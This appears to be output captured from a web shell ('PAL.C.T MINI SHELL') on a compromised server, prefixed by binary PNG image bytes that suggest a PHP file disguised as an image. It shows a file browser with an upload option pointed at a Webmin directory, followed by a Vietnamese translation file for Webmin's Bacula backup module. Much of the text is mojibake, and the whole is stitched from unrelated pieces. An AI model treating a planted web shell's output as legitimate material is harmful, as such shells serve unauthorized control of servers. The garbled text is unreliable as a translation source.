‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/bacula-backup/lang/
upload
files >> //usr/libexec/webmin/bacula-backup/lang/vi.auto

index_echeck=$1 Có thể nó chưa được cài đặt hoặc cấu hình mô-đun <a href='$2'></a> không chính xác.
index_edb=Không thể kết nối với cơ sở dữ liệu Bacula: $1 Có thể nó chưa được thiết lập hoặc cấu hình mô-đun <a href='$2'></a> không chính xác.
index_eng=Không thể kết nối với cơ sở dữ liệu nhóm Bacula: $1. Có thể nó không tồn tại hoặc cấu hình mô-đun <a href='$2'></a> không chính xác.
index_econsole=Lệnh Ä‘iá»u khiển Bacula $1 không thể giao tiếp vá»›i giám đốc Bacula. Äảm bảo mật khẩu trong $2 là chính xác.
index_econsole2=Lệnh bàn Ä‘iá»u khiển Bacula $1 không được cấu hình vá»›i máy chá»§ giám đốc Bacula hợp lệ. Nó hiện Ä‘ang sá»­ dụng $2, không tồn tại.
index_fixpass=Nhấn vào đây để sửa mật khẩu Console
index_fixaddr=Nhấn vào đây để sửa máy chủ Bacula Director
index_stop=Dừng Bacula
index_stopdesc=Nhấp vào nút này để tắt các quy trình daula Bacula được liệt kê ở trên.
index_start=Bắt đầu Bacula
index_startdesc=Nhấp vào nút này để bắt đầu các quy trình Bacula daemon được liệt kê ở trên.
index_restart=Khởi động lại Bacula
index_restartdesc=Nhấp vào nút này để dừng và khởi động lại các quy trình Bacula daemon được liệt kê ở trên. Äiá»u này có thể cần thiết để kích hoạt cấu hình thiết bị lưu trữ.
index_apply=Ãp dụng cấu hình
index_applydesc=Nhấp vào nút này để kích hoạt cấu hình giám đốc Bacula được hiển thị ở trên.
index_boot=Bắt đầu lúc khởi động
index_bootdesc=Thay đổi tùy chá»n này để kiểm soát xem Bacula có được khởi động khi khởi động hệ thống hay không.
index_status=Trạng thái quá trình:
index_up=Lên
index_down=Xuống
index_return=chỉ số mô-đun
index_versionbacula=Bacula $1 
index_versionbareos=Bareos $1 
index_notrun=Sao lưu và các hoạt động khác không thể được thá»±c hiện khi trình ná»n Bacula Directory bị há»ng.
index_eversion=Hệ thống của bạn đang sử dụng phiên bản Bacula $2, nhưng mô-đun Webmin này chỉ hỗ trợ các phiên bản $1 trở lên.
index_dir=Cấu hình giám đốc
index_sd=Cấu hình lưu trữ Daemon
index_fd=Cấu hình tệp Daemon
index_groups=Cấu hình nhóm Bacula
index_actions=Hành động sao lưu và khôi phục
index_ocmin=ÄÆ°á»£c đóng góp bởi <a href=$2 target=_new>Linmin</a> </a>

connect_emysql=Không thể tải trình Ä‘iá»u khiển DBI cÆ¡ sở dữ liệu $1 
connect_elogin=Không thể đăng nhập vào cơ sở dữ liệu $1:$2.
connect_equery=CÆ¡ sở dữ liệu $1 dưá»ng như không chứa các bảng Bacula.
connect_equery2=Äiá»u này có thể là do mô-Ä‘un SQLite Perl được cài đặt quá má»›i và không há»— trợ định dạng cÆ¡ sở dữ liệu SQLite cÅ© hÆ¡n được sá»­ dụng bởi Bacula.
connect_equery3=CÆ¡ sở dữ liệu $1 dưá»ng như không chứa các bảng nhóm OC Bacula.
esql=Lá»—i SQL : $1 

check_edir=Không tìm thấy thư mục cấu hình Bacula $1 trên hệ thống của bạn.
check_ebacula=Lệnh Ä‘iá»u khiển Bacula $1 không được tìm thấy.
check_econsole=Lệnh console Bacula $1 không được tìm thấy.
check_edirector=Không tìm thấy tệp cấu hình giám đốc Bacula $1.
check_eclient=Hệ thống này dưá»ng như là má»™t <a href='$2'>khách hàng Bacula</a> chứ không phải là giám đốc.
check_econfigs=Không tìm thấy tệp cấu hình Bacula nào trong $1 
check_eservers=Không có nhóm máy chủ Webmin nào được xác định
check_engmod=Mô-đun nhóm OpenCountry Bacula không được cài đặt

proc_bacula-sd=Daemon lưu trữ
proc_bacula-fd=Tệp daemon
proc_bacula-dir=Giám đốc Bacula daemon
proc_bareos-sd=Daemon lưu trữ
proc_bareos-fd=Tệp daemon
proc_bareos-dir=Giám đốc Bacula daemon

stop_err=Không thể ngăn chặn Bacula
start_err=Không thể bắt đầu Bacula
start_einit=Không tìm thấy tập lệnh init nào cho $1 
start_erun=Không thể bắt đầu $1 : $2 
restart_err=Không thể khởi động lại Bacula
apply_err=Không thể áp dụng cấu hình
apply_failed=Äã phát hiện lá»—i cấu hình
apply_problem=Không thể áp dụng cấu hình : $1 

jobs_title=Công việc sao lưu
jobs_none=Không có công việc sao lưu đã được xác định.
jobs_name=Tên công việc
jobs_deftype=Mặc định?
jobs_type=Loại công việc
jobs_client=Khách hàng để sao lưu
jobs_fileset=Tập tin được đặt để sao lưu
jobs_schedule=Lịch trình sao lưu
jobs_add=Thêm một công việc sao lưu mới.
jobs_delete=Xóa công việc đã chá»n
jobs_return=danh sách công việc
jobs_derr=Không thể xóa công việc

filesets_title=Bộ tập tin
filesets_none=Không có tập tin sao lưu đã được xác định.
filesets_name=Tên tập tin
filesets_files=Bao gồm các tập tin
filesets_add=Thêm một tập tin sao lưu mới.
filesets_delete=Xóa bá»™ tệp đã chá»n
filesets_return=danh sách các tập tin
filesets_derr=Không thể xóa bộ tập tin
filesets_ednone=Không được chá»n

fileset_title1=Tạo tập tin
fileset_title2=Chỉnh sửa tập tin
fileset_header=Chi tiết tập tin sao lưu
fileset_egone=Tập tin không còn tồn tại!
fileset_name=Tên tập tin
fileset_include=Tập tin và thư mục để sao lưu
fileset_exclude=Tập tin và thư mục để bỠqua
fileset_sig=Loại chữ ký
fileset_none=không ai
fileset_md5=MD5
fileset_err=Không thể lưu tập tin
fileset_ename=Tên tập tin bị thiếu
fileset_eclash=Một tập tin có cùng tên đã tồn tại
fileset_echild=Tập tin này không thể bị xóa vì nó được sử dụng bởi $1 
fileset_comp=Kiểu nén
fileset_gzipdef=&lt;Mức nén mặc định&gt;
fileset_lzo=Nén LZO
fileset_gzip=Cấp Gzip $1 
fileset_onefs=Giới hạn sao lưu vào một hệ thống tập tin?

clients_title=Khách hàng dự phòng
clients_none=Không có khách hàng dự phòng đã được xác định.
clients_name=Tên khách hàng
clients_address=Tên máy chủ hoặc địa chỉ
clients_catalog=Mục lục
clients_add=Thêm một khách hàng sao lưu mới.
clients_delete=Xóa các khách hàng đã chá»n
clients_return=danh sách khách hàng
clients_derr=Không thể xóa khách hàng

client_title1=Tạo máy khách dự phòng
client_title2=Chỉnh sửa máy khách dự phòng
client_header=Thông tin chi tiết vỠkhách hàng sẽ được sao lưu
client_egone=Khách hàng không còn tồn tại!
client_name=Tên khách hàng FD
client_address=Tên máy chủ hoặc địa chỉ IP
client_port=Cổng Bacula FD
client_pass=Mật khẩu Bacula FD
client_catalog=Danh mục để sử dụng
client_prune=Prune hết hạn công việc và tập tin?
client_fileret=Giữ các tập tin sao lưu cho
client_jobret=Giữ công việc sao lưu cho
client_err=Không thể lưu máy khách dự phòng
client_ename=Tên khách hàng bị thiếu hoặc không hợp lệ
client_eclash=Một khách hàng có cùng tên đã tồn tại
client_epass=Thiếu mật khẩu
client_eaddress=Tên máy chủ hoặc địa chỉ bị thiếu hoặc không hợp lệ
client_eport=Cổng FD bị thiếu hoặc không hợp lệ
client_efileret=Thá»i gian lưu giữ tệp bị thiếu hoặc không hợp lệ
client_ejobret=Thá»i gian duy trì công việc bị thiếu hoặc không hợp lệ
client_echild=Không thể xóa ứng dụng khách này vì nó được sử dụng bởi $1 
client_status=Hiển thị trạng thái

job_title1=Tạo công việc sao lưu
job_title2=Chỉnh sửa công việc sao lưu
job_header=Chi tiết công việc sao lưu
job_name=Tên công việc sao lưu
job_enabled=Sao lưu công việc được kích hoạt?
job_def=Loại mặc định
job_def0=Definiton mặc định
job_def1=Công việc độc lập
job_def2=Kế thừa mặc định từ $1 
job_type=Loại công việc
job_level=Mức sao lưu
job_client=Khách hàng để sao lưu
job_fileset=Tập tin được đặt để sao lưu
job_schedule=Sao lưu đúng tiến độ
job_storage=Thiết bị lưu trữ đích
job_pool=Khối lượng hồ bơi
job_messages=Äích đến cho tin nhắn
job_prority=Ưu tiên sao lưu
job_err=Không thể lưu công việc sao lưu
job_ename=Tên công việc bị thiếu hoặc không hợp lệ
job_eclash=Một công việc có cùng tên đã tồn tại
job_epriority=Số ưu tiên bị thiếu hoặc không hợp lệ
job_echild=Äịnh nghÄ©a công việc mặc định này không thể bị xóa vì nó được sá»­ dụng bởi $1 
job_run=Chạy ngay đi
job_before=Lệnh trước khi làm
job_after=Chỉ huy sau khi làm việc
job_cbefore=Lệnh trước khi làm việc (trên máy khách)
job_cafter=Lệnh sau khi làm việc (trên máy khách)

schedules_title=Lịch trình sao lưu
schedules_none=Không có lịch trình sao lưu đã được xác định.
schedules_name=Tên lịch trình
schedules_sched=Chạy cấp độ và thá»i gian
schedules_add=Thêm một lịch trình sao lưu mới.
schedules_delete=Xóa lịch đã chá»n
schedules_return=danh sách lịch trình
schedules_derr=Không thể xóa lịch trình

schedule_title1=Tạo lịch sao lưu
schedule_title2=Chỉnh sửa lịch sao lưu
schedule_header=Chi tiết lịch trình sao lưu
schedule_name=Tên lịch trình sao lưu
schedule_runs=Chạy cấp độ và thá»i gian
schedule_level=Mức sao lưu
schedule_pool=Âm lượng
schedule_times=Chạy nhiá»u lúc
schedule_err=Không thể lưu lịch sao lưu
schedule_ename=Tên lịch trình bị thiếu hoặc không hợp lệ
schedule_eclash=Một lịch trình có cùng tên đã tồn tại
schedule_etimes=Thiếu thá»i gian sao lưu trong hàng $1 
schedule_echild=Lịch trình này không thể bị xóa vì nó được sử dụng bởi $1 

backup_title=Chạy công việc sao lưu
backup_header=Chi tiết công việc sao lưu
backup_job=Công việc để chạy
backup_jd=$1 (Tệp được đặt $2 trên $3)
backup_wait=ChỠkết quả?
backup_ok=Sao lưu ngay
backup_run=Bắt đầu công việc sao lưu $1 ..
backup_return=hình thức dự phòng
backup_ejob=.. thất bại trong việc tìm kiếm việc làm!
backup_eok=.. công việc không thể bắt đầu
backup_running=.. công việc sao lưu hiện đang chạy. Khi hoàn thành, kết quả sẽ được hiển thị bên dưới ..
backup_running2=.. công việc sao lưu đã được bắt đầu trong ná»n.
backup_done=.. sao lưu thành công.
backup_failed=.. sao lưu không hoàn thành thành công. Kiểm tra thông báo lỗi ở trên để biết chi tiết.

gbackup_title=Chạy công việc sao lưu nhóm Bacula
gbackup_run=Bắt đầu công việc sao lưu $1 trên $2 khách hàng ..
gbackup_on=Chạy công việc sao lưu trên máy khách $1  :
gbackup_header=Chi tiết công việc sao lưu nhóm Bacula
gbackup_jd=$1 (Tệp được đặt $2 trên nhóm $3)

dirstatus_title=Tình trạng giám đốc
dirstatus_sched=Công việc sao lưu theo lịch trình
dirstatus_name=Tên công việc
dirstatus_type=Kiểu
dirstatus_level=Cấp độ
dirstatus_date=Chạy tại
dirstatus_date2=Bắt đầu lúc
dirstatus_volume=Âm lượng
dirstatus_schednone=Không có công việc sao lưu hiện đang được lên kế hoạch.
dirstatus_id=Chạy ID
dirstatus_status=Tình trạng hiện tại
dirstatus_run=Chạy công việc sao lưu
dirstatus_runnone=Không có công việc sao lưu hiện đang chạy.
dirstatus_done=Công việc sao lưu đã hoàn thành
dirstatus_bytes=Kích thước
dirstatus_files=Các tập tin
dirstatus_status2=Trạng thái
dirstatus_donenone=Không có công việc sao lưu đã được chạy.
dirstatus_cancel=Há»§y công việc đã chá»n
dirstatus_refresh=Làm mới danh sách

clientstatus_title=Tình trạng khách hàng
clientstatus_err=Không thể tìm nạp trạng thái từ $1 : $2 
clientstatus_msg=Trạng thái từ $1 : $2 
clientstatus_show=Hiển thị trạng thái của khách hàng:
clientstatus_ok=đồng ý
clientstatus_on=$1 (trên $2)

storages_title=Daemon lưu trữ
storages_none=Không có daemon lưu trữ đã được xác định.
storages_name=Tên lưu trữ
storages_address=Tên máy chủ hoặc địa chỉ
storages_device=Thiết bị lưu trữ
storages_type=Loại phương tiện truyá»n thông
storages_add=Thêm một daemon lưu trữ mới.
storages_delete=Xóa Daemon lưu trữ đã chá»n
storages_return=danh sách các daemon lưu trữ
storages_derr=Không thể xóa daemon lưu trữ

storage_title1=Tạo Daemon lưu trữ
storage_title2=Chỉnh sửa Daemon lưu trữ
storage_header=Chi tiết vỠdaemon lưu trữ từ xa
storage_egone=Daemon lưu trữ không còn tồn tại!
storage_name=Tên lưu trữ daemon
storage_address=Tên máy chủ hoặc địa chỉ IP
storage_port=Cổng SD Bacula
storage_pass=Mật khẩu Bacula SD
storage_device=Tên thiết bị lưu trữ
storage_media=Tên loại phương tiện truyá»n thông
storage_maxjobs=Công việc đồng thá»i tối Ä‘a
storage_other=Khác ..
storage_err=Không thể lưu daemon lưu trữ
storage_ename=Thiếu tên lưu trữ daemon
storage_eclash=Một daemon lưu trữ có cùng tên đã tồn tại
storage_epass=Thiếu mật khẩu
storage_eaddress=Tên máy chủ hoặc địa chỉ bị thiếu hoặc không hợp lệ
storage_eport=Cổng SD bị thiếu hoặc không hợp lệ
storage_edevice=Thiếu tên thiết bị lưu trữ
storage_emedia=Thiếu tên loại phương tiện truyá»n thông
storage_emaxjobs=Thiếu công việc đồng thá»i tối Ä‘a
storage_echild=Không thể xóa ứng dụng khách này vì nó được sử dụng bởi $1 
storage_status=Hiển thị trạng thái

devices_title=Thiêt bị lưu trư
devices_none=Không có thiết bị lưu trữ đã được xác định.
devices_name=Tên thiết bị
devices_device=Tập tin thiết bị hoặc thư mục
devices_type=Loại phương tiện truyá»n thông
devices_add=Thêm một thiết bị lưu trữ mới.
devices_delete=Xóa các thiết bị lưu trữ được chá»n
devices_return=danh sách các thiết bị lưu trữ
devices_derr=Không thể xóa thiết bị lưu trữ

device_title1=Tạo thiết bị lưu trữ
device_title2=Chỉnh sửa thiết bị lưu trữ
device_header=Chi tiết vỠthiết bị lưu trữ tập tin
device_egone=Thiết bị lưu trữ không còn tồn tại!
device_name=Tên thiết bị lưu trữ
device_device=Lưu trữ thiết bị hoặc thư mục
device_media=Tên loại phương tiện truyá»n thông
device_label=Tự động dán nhãn phương tiện?
device_random=Phương tiện truy cập ngẫu nhiên?
device_auto=Gắn tự động?
device_removable=Phương tiện di động?
device_always=Luôn luôn mở?
device_err=Không thể lưu thiết bị lưu trữ
device_ename=Thiếu tên thiết bị lưu trữ
device_eclash=Một thiết bị lưu trữ có cùng tên đã tồn tại
device_emedia=Thiếu tên loại phương tiện truyá»n thông
device_edevice=Thiết bị hoặc thư mục lưu trữ bị thiếu hoặc không hợp lệ
device_echild=Không thể xóa ứng dụng khách này vì nó được sử dụng bởi $1 

storagestatus_title=Trạng thái lưu trữ Daemon
storagestatus_err=Không thể tìm nạp trạng thái từ $1 : $2 
storagestatus_msg=Trạng thái từ $1 : $2 
storagestatus_show=Hiển thị trạng thái của daemon lưu trữ:
storagestatus_ok=đồng ý

label_title=Khối lượng nhãn
label_header=Chi tiết vỠkhối lượng để dán nhãn
label_storage=Lưu trữ daemon để nhãn
label_pool=Tạo trong hồ bơi
label_label=Tên nhãn mới
label_ok=Dán nhãn ngay
label_return=mẫu nhãn
label_run=Khối lượng ghi nhãn với $2 trên daemon lưu trữ $1 ..
label_estorage=.. daemon lưu trữ không được tìm thấy!
label_eexists=.. nhãn đã chỉ định đã tồn tại.
label_efailed=.. ghi nhãn thất bại! Kiểm tra thông báo lỗi ở trên cho lý do tại sao.
label_done=.. ghi nhãn thành công.
label_epool=.. không thể tìm thấy hồ bơi!
label_err=Nhãn không thành công
label_elabel=Không có nhãn nhập

pools_title=Khối lượng hồ bơi
pools_none=Không có khối lượng đã được xác định nào.
pools_name=Tên hồ bơi
pools_type=Loại hồ bơi
pools_reten=Thá»i gian lưu giữ
pools_add=Thêm một khối lượng mới.
pools_delete=Xóa nhóm khối lượng đã chá»n
pools_return=danh sách các nhóm khối lượng
pools_derr=Không thể xóa nhóm âm lượng

pool_title1=Tạo khối lượng hồ bơi
pool_title2=Chỉnh sửa khối lượng hồ bơi
pool_header=Chi tiết vỠkhối lượng dự phòng
pool_egone=Khối lượng hồ bơi không còn tồn tại!
pool_name=Tên hồ bơi khối lượng
pool_recycle=Tự động tái chế khối lượng?
pool_auto=Prune khối lượng hết hạn?
pool_any=Sao lưu vào bất kỳ khối lượng trong hồ bơi?
pool_reten=Thá»i gian duy trì khối lượng
pool_type=Loại hồ bơi khối lượng
pool_max=Công việc tối đa trên mỗi tập
pool_unlimited=Vô hạn
pool_err=Không thể lưu thiết bị lưu trữ
pool_ename=Thiếu tên thiết bị lưu trữ
pool_eclash=Một thiết bị lưu trữ có cùng tên đã tồn tại
pool_echild=Không thể xóa ứng dụng khách này vì nó được sử dụng bởi $1 
pool_emax=Số lượng công việc tối đa bị thiếu hoặc không hợp lệ trên mỗi tập
pool_ereten=Thá»i gian lưu giữ thiếu hoặc không hợp lệ
pool_status=Hiển thị tập
pool_autolabel=Tá»± động gắn nhãn tiá»n tố khối lượng
pool_maxvolsize=Kích thước âm lượng tối đa (ví dụ: 5G cho 5 Gigabyte)

poolstatus_title=Khối lượng trong hồ bơi
poolstatus_show=Hiển thị khối lượng trong nhóm:
poolstatus_ok=đồng ý
poolstatus_volumes=Khối lượng trong hồ bÆ¡i được chá»n
poolstatus_name=Tên tập
poolstatus_type=Loại phương tiện truyá»n thông
poolstatus_first=Lần đầu tiên sử dụng
poolstatus_last=Sử dụng lần cuối
poolstatus_bytes=Byte viết
poolstatus_status=Chế độ sao lưu
poolstatus_none=Không có khối lượng hiện tại trong nhóm sao lưu này.
poolstatus_never=Không bao giá»
poolstatus_delete=Xóa các tập đã chá»n

dvolumes_err=Không thể xóa khối lượng
dvolumes_enone=Không được chá»n
dvolumes_ebacula=Lá»—i Bacula : $1 

mount_title=Gắn kết hoặc ngắt kết nối
mount_header=Tùy chá»n gắn kết hoặc không gắn kết
mount_storage=Thiết bị lưu trữ
mount_slot=Khe cắm tự động
mount_noslot=không ai
mount_slotno=Số khe
mount_mount=Lưu trữ núi
mount_unmount=Lưu trữ không gắn kết
mount_run=Khối lượng lắp trên thiết bị lưu trữ $1 ..
unmount_run=Không gắn âm lượng trên thiết bị lưu trữ $1 ..
mount_done=.. gắn kết thành công.
unmount_done=.. un-mount thành công.
mount_failed=.. gắn kết thất bại! Xem thông báo lỗi ở trên để biết lý do tại sao.
unmount_failed=.. un-mount thất bại! Xem thông báo lỗi ở trên để biết lý do tại sao.
mount_return=hình thức gắn kết
mount_err=Không thể gắn thiết bị lưu trữ
mount_eslot=Số khe cắm bị thiếu hoặc không hợp lệ

cancel_err=Không thể hủy công việc
cancel_enone=Không được chá»n

gjobs_title=Công việc sao lưu nhóm Bacula
gjobs_none=Không có công việc sao lưu nhóm Bacula đã được xác định.
gjobs_add=Thêm một công việc sao lưu nhóm Bacula mới.
gjobs_delete=Xóa công việc đã chá»n
gjobs_return=danh sách các công việc nhóm Bacula
gjobs_derr=Không thể xóa công việc nhóm Bacula
gjobs_client=Nhóm Bacula để sao lưu

gjob_title1=Tạo công việc sao lưu nhóm Bacula
gjob_title2=Chỉnh sửa công việc sao lưu nhóm Bacula
gjob_header=Chi tiết công việc sao lưu nhóm Bacula
gjob_client=Nhóm Bacula để sao lưu

groups_title=Nhóm Bacula
groups_none=Chưa có nhóm Bacula nào được chá»n để sao lưu bởi Bacula.
groups_name=Tên nhóm
groups_port=Cổng FD
groups_add=Thêm nhóm Bacula:
groups_ok=Thêm vào
groups_catalog=Mục lục
groups_delete=Xóa các nhóm Bacula đã chá»n
groups_return=danh sách các nhóm
groups_derr=Không thể xóa nhóm
groups_noadd=Không có nhóm Bacula tồn tại để được chá»n để sao lưu.
groups_info=$1 ($2 thành viên)
groups_already=Tất cả các nhóm Bacula đã được thêm vào.

group_title1=Tạo nhóm Bacula
group_title2=Chỉnh sửa nhóm Bacula
group_header=Chi tiết vỠnhóm Bacula sẽ được sao lưu
group_egone=Nhóm không còn tồn tại!
group_egone2=Nhóm Bacula không còn tồn tại!
group_name=Tên nhóm Bacula
group_port=Cổng Bacula FD
group_err=Không thể cứu nhóm Bacula
group_eclash=Một nhóm có cùng tên đã tồn tại
group_members=Chủ nhà trong nhóm Bacula

sync_title=Äồng bá»™ hóa nhóm Bacula
sync_header=Tùy chá»n đồng bá»™ hóa máy khách nhóm Bacula tá»± động
sync_sched=Äồng bá»™ hóa theo lịch trình?
sync_schedyes=Có, vào những thá»i Ä‘iểm được chá»n dưới đây ..
sync_err=Không thể lưu đồng bộ hóa nhóm Bacula

log_create_client=Tạo khách hàng dự phòng $1 
log_modify_client=Khách hàng dự phòng đã sửa đổi $1 
log_delete_client=Äã xóa khách hàng dá»± phòng $1 
log_delete_clients=Äã xóa $1 khách hàng dá»± phòng
log_create_fileset=Tập tin đã tạo $1 
log_modify_fileset=Tập tin đã sửa đổi $1 
log_delete_fileset=Äã xóa tập tin $1 
log_delete_filesets=Äã xóa $1 tập tin
log_create_job=Äã tạo công việc sao lưu $1 
log_modify_job=Công việc sao lưu đã sửa đổi $1 
log_delete_job=Äã xóa công việc sao lưu $1 
log_delete_jobs=Äã xóa $1 công việc sao lưu
log_create_schedule=Tạo lịch sao lưu $1 
log_modify_schedule=Lịch trình sao lưu đã sửa đổi $1 
log_delete_schedule=Äã xóa lịch sao lưu $1 
log_delete_schedules=Äã xóa lịch trình sao lưu $1 
log_create_pool=Tạo khối lượng $1 
log_modify_pool=Nhóm khối lượng đã sửa đổi $1 
log_delete_pool=Nhóm khối lượng đã xóa $1 
log_delete_pools=Äã xóa% khối lượng 1
log_create_storage=Äã tạo daemon lưu trữ $1 
log_modify_storage=Daemon lưu trữ đã sửa đổi $1 
log_delete_storage=Äã xóa daemon lưu trữ $1 
log_delete_storages=Äã xóa $1 daemon lưu trữ
log_create_device=Äã tạo thiết bị lưu trữ $1 
log_modify_device=Thiết bị lưu trữ đã sửa đổi $1 
log_delete_device=Äã xóa thiết bị lưu trữ $1 
log_delete_devices=Äã xóa $1 thiết bị lưu trữ
log_create_group=Tạo nhóm Bacula $1 
log_modify_group=Nhóm Bacula đã sửa đổi $1 
log_delete_group=Äã xóa nhóm Bacula $1 
log_delete_groups=Äã xóa $1 nhóm Bacula
log_create_gjob=Tạo công việc sao lưu nhóm Bacula $1 
log_modify_gjob=Công việc sao lưu nhóm Bacula đã sửa đổi $1 
log_delete_gjob=Äã xóa công việc sao lưu nhóm Bacula $1 
log_delete_gjobs=Äã xóa $1 công việc sao lưu nhóm Bacula
log_create_fdirector=Tạo tệp giám đốc daemon $1 
log_modify_fdirector=Giám đốc tệp daemon đã sửa đổi $1 
log_delete_fdirector=Äã xóa tệp giám đốc trình ná»n $1 
log_delete_fdirectors=Äã xóa $1 tệp giám đốc trình ná»n
log_create_sdirector=Tạo giám đốc lưu trữ daemon $1 
log_modify_sdirector=Giám đốc daemon lưu trữ đã sửa đổi $1 
log_delete_sdirector=Äã xóa giám đốc lưu trữ daemon $1 
log_delete_sdirectors=Äã xóa $1 giám đốc trình ná»n lưu trữ
log_stop=Daula Bacula dừng lại
log_start=Bắt đầu Bacula daemon
log_apply=Cấu hình ứng dụng
log_restart=Äã khởi động lại daula Bacula
log_backup=Bắt đầu công việc sao lưu $1 
log_gbackup=Bắt đầu công việc sao lưu nhóm Bacula $1 
log_label=Trình ná»n lưu trữ được gắn nhãn $1 
log_mount=Thiết bị lưu trữ được gắn $1 
log_unmount=Thiết bị lưu trữ không gắn kết $1 
log_sync=Äã lưu đồng bá»™ nhóm Bacula
log_director=Äã lưu cấu hình giám đốc Bacula toàn cầu
log_file=Äã lưu cấu hình Bacula tệp daemon
log_storagec=Äã lưu cấu hình lưu trữ Bacula daemon
log_fixpass=Äã sá»­a lá»—i mật khẩu chương trình bảng Ä‘iá»u khiển Bacula

director_title=Cấu hình giám đốc
director_header=Tùy chá»n giám đốc Bacula toàn cầu
director_name=Tên giám đốc
director_port=Nghe trên cổng
director_jobs=Công việc đồng thá»i tối Ä‘a
director_messages=Äích đến cho tin nhắn
director_enone=Không tìm thấy cấu hình giám đốc!
director_dir=Bacula thư mục làm việc
director_err=Không thể lưu cấu hình giám đốc
director_ename=Tên giám đốc bị thiếu hoặc không hợp lệ
director_eport=Số cổng bị thiếu hoặc không hợp lệ
director_ejobs=Thiếu hoặc không hợp lệ số lượng công việc đồng thá»i
director_edir=Thư mục làm việc bị thiếu hoặc không tồn tại

tls_enable=Kích hoạt mã hóa TLS?
tls_require=Chỉ chấp nhận kết nối TLS?
tls_verify=Xác minh khách hàng TLS?
tls_cert=Tệp chứng chỉ TLS PEM
tls_key=Tệp khóa TLS PEM
tls_cacert=Tệp á»§y quyá»n chứng chỉ TLS PEM
tls_none=không ai
tls_ecert=Tệp chứng chỉ TLS bị thiếu hoặc không tồn tại
tls_ekey=Tệp khóa TLS bị thiếu hoặc không tồn tại
tls_ecacert=Tệp chứng chỉ TLS CA bị thiếu hoặc không tồn tại
tls_ecerts=Äể TLS được bật, các tệp chứng chỉ, khóa và CA phải được chỉ định

file_title=Cấu hình tệp Daemon
file_header=Tùy chá»n daemon tập tin Bacula
file_name=Tên tệp daemon
file_port=Nghe trên cổng
file_jobs=Công việc đồng thá»i tối Ä‘a
file_dir=Bacula thư mục làm việc
file_enone=Không tìm thấy cấu hình daemon tập tin!
file_err=Không thể lưu cấu hình tệp daemon
file_ename=Tên daemon tập tin bị thiếu hoặc không hợp lệ
file_eport=Số cổng bị thiếu hoặc không hợp lệ
file_ejobs=Thiếu hoặc không hợp lệ số lượng công việc đồng thá»i
file_edir=Thư mục làm việc bị thiếu hoặc không tồn tại

fdirectors_title=Giám đốc tập tin Daemon
fdirectors_none=Không có giám đốc đã được xác định nào.
fdirectors_name=Tên giám đốc
fdirectors_pass=Mật khẩu được chấp nhận
fdirectors_add=Thêm một giám đốc mới.
fdirectors_delete=Xóa Giám đốc đã chá»n
fdirectors_return=danh sách giám đốc
fdirectors_derr=Không thể xóa giám đốc

fdirector_title1=Tạo tập tin Daemon Director
fdirector_title2=Chỉnh sửa tập tin Daemon Director
fdirector_header=Chi tiết kiểm soát giám đốc từ xa
fdirector_egone=Giám đốc không còn tồn tại!
fdirector_name=Tên giám đốc
fdirector_pass=Mật khẩu được chấp nhận
fdirector_monitor=Chỉ cho phép giám sát kết nối?
fdirector_err=Không thể lưu tệp giám đốc trình ná»n
fdirector_ename=Tên giám đốc mất tích
fdirector_eclash=Một giám đốc có cùng tên đã tồn tại
fdirector_epass=Thiếu mật khẩu

sdirectors_title=Giám đốc lưu trữ Daemon
sdirectors_none=Không có giám đốc đã được xác định nào.
sdirectors_name=Tên giám đốc
sdirectors_pass=Mật khẩu được chấp nhận
sdirectors_add=Thêm một giám đốc mới.
sdirectors_delete=Xóa Giám đốc đã chá»n
sdirectors_return=danh sách giám đốc
sdirectors_derr=Không thể xóa giám đốc

sdirector_title1=Tạo Giám đốc lưu trữ Daemon
sdirector_title2=Chỉnh sửa Giám đốc lưu trữ Daemon
sdirector_header=Chi tiết kiểm soát giám đốc từ xa
sdirector_egone=Giám đốc không còn tồn tại!
sdirector_name=Tên giám đốc
sdirector_pass=Mật khẩu được chấp nhận
sdirector_monitor=Chỉ cho phép giám sát kết nối?
sdirector_err=Không thể lưu giám đốc daemon lưu trữ
sdirector_ename=Tên giám đốc mất tích
sdirector_eclash=Một giám đốc có cùng tên đã tồn tại
sdirector_epass=Thiếu mật khẩu

storagec_title=Cấu hình lưu trữ Daemon
storagec_header=Tùy chá»n daemon lưu trữ Bacula
storagec_name=Tên daemon
storagec_port=Nghe trên cổng
storagec_jobs=Công việc đồng thá»i tối Ä‘a
storagec_enone=Không tìm thấy cấu hình daemon lưu trữ!
storagec_dir=Bacula thư mục làm việc
storagec_err=Không thể lưu cấu hình daemon lưu trữ
storagec_ename=Tên daemon lưu trữ bị thiếu hoặc không hợp lệ
storagec_eport=Số cổng bị thiếu hoặc không hợp lệ
storagec_ejobs=Thiếu hoặc không hợp lệ số lượng công việc đồng thá»i
storagec_edir=Thư mục làm việc bị thiếu hoặc không tồn tại

chooser_title=Chá»n lịch trình
chooser_monthsh=Tháng thực hiện
chooser_months=Tháng trong năm
chooser_all=Tất cả
chooser_sel=Chá»n bên dưới ..
chooser_ok=đồng ý
chooser_timeh=Thá»i gian trong ngày để thá»±c hiện
chooser_time=GiỠvà phút
chooser_weekdaysh=Ngày trong tuần để thực hiện
chooser_weekdays=Ngày trong tuần
chooser_weekdaynums=Số trong tháng
chooser_daysh=Ngày trong tháng để thực hiện
chooser_days=ngày
chooser_err=Không thể chá»n lịch trình
chooser_emonths=Không có tháng nào được chá»n
chooser_eweekdays=Không có ngày trong tuần được chá»n
chooser_eweekdaynums=Không có số ngày trong tuần được chá»n
chooser_edays=Không có ngày nào trong tháng được chá»n
chooser_ehour=Thiếu hoặc không hợp lệ giỠtrong ngày
chooser_eminute=Mất tích hoặc không hợp lệ phút
chooser_emonthsrange=Các tháng được chá»n phải liá»n ká» nhau
chooser_eweekdaysrange=Các ngày trong tuần được chá»n phải liá»n ká» nhau
chooser_eweekdaynumsrange=Các số ngày trong tuần được chá»n phải liá»n ká» nhau
